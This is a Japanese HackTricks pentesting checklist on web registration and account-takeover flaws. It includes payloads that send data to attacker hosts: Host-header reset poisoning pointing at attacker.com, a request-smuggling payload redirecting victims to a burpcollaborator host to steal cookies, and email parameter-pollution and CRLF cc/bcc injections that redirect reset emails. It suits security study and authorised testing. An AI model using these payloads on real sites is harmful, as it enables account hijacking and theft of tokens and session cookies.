hacktricks/pentesting-web/registration-vulnerabilities.md

12 KiB
Raw Blame History

登録および乗っ取りの脆弱性

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

WhiteIntel

WhiteIntelは、ダークウェブを利用した検索エンジンで、企業やその顧客が侵害されているかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウントの乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトを確認し、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}


登録乗っ取り

重複登録

  • 既存のユーザー名を使用して生成を試みる
  • メールアドレスを変えて確認する:
  • 大文字
  • +1@
  • メールにドットを追加する
  • メール名に特殊文字(%00, %09, %20
  • メールの後に黒い文字を入れる:test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

ユーザー名列挙

アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。

パスワードポリシー

ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードが使用できるか確認する)。
その場合、資格情報をブルートフォース攻撃することを試みるかもしれません。

SQLインジェクション

このページを確認してくださいアカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶためにSQLインジェクションを使用します。

Oauth乗っ取り

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML脆弱性

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

メール変更

登録後、メールを変更し、この変更が正しく検証されるか、任意のメールに変更できるか確認する。

その他のチェック

  • 使い捨てメールが使用できるか確認する
  • 長い パスワード (>200)はDoSを引き起こす
  • アカウント作成のレート制限を確認する
  • username@burp_collab.netを使用し、コールバックを分析する

パスワードリセット乗っ取り

リファラー経由のパスワードリセットトークン漏洩

  1. 自分のメールアドレスにパスワードリセットをリクエストする
  2. パスワードリセットリンクをクリックする
  3. パスワードを変更しない
  4. 任意の3rdパーティのウェブサイトFacebook、Twitterをクリックする
  5. Burp Suiteプロキシでリクエストを傍受する
  6. リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。

パスワードリセットポイズニング

  1. Burp Suiteでパスワードリセットリクエストを傍受する
  2. Burp Suiteで次のヘッダーを追加または編集するHost: attacker.com, X-Forwarded-Host: attacker.com
  3. 修正されたヘッダーでリクエストを転送する
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. _hostヘッダー_に基づいてパスワードリセットURLを探すhttps://attacker.com/reset-password.php?token=TOKEN

メールパラメータ経由のパスワードリセット

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります。
  2. Burp Suiteを起動し、リクエストをインターセプトします。
  3. リピータタブに送信し、パラメータを編集しますユーザーID/メール
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。

  • タイムスタンプ
  • ユーザーID
  • ユーザーのメール
  • 名と姓
  • 生年月日
  • 暗号化
  • 数字のみ
  • 小さなトークンシーケンス([A-Z,a-z,0-9]の間の文字)
  • トークンの再利用
  • トークンの有効期限

Leaking Password Reset Token

  1. 特定のメールtest@mail.comを使用してAPI/UIからパスワードリセットリクエストをトリガーします。
  2. サーバーの応答を検査し、resetTokenを確認します。
  3. 次に、トークンをURLに使用しますhttps://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:"admin "
  2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
  3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。
  4. 新しいパスワードで被害者のアカウントに接続します。

プラットフォームCTFdはこの攻撃に対して脆弱でした。
参照:CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合*.domain.com
  2. 現在のセッションクッキーを漏洩させます。
  3. クッキーを使用してユーザーとして認証します。

Account Takeover Via HTTP Request Smuggling

1. smugglerを使用してHTTPリクエストスムーグリングのタイプCL、TE、CL.TEを検出します。
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 次のデータでPOST / HTTP/1.1を上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X: 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。
3. 最終リクエストは次のようになります。

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackeroneはこのバグを悪用した報告をしています
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRFによるアカウント乗っ取り

  1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
  2. ペイロードを送信します

JWTによるアカウント乗っ取り

JSON Web Tokenはユーザーを認証するために使用されることがあります。

  • 別のユーザーID / メールでJWTを編集します
  • 弱いJWT署名を確認します

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

参考文献

WhiteIntel

WhiteIntelは、ダークウェブを利用した検索エンジンで、企業やその顧客がマルウェアによって侵害されたかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトを確認し、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}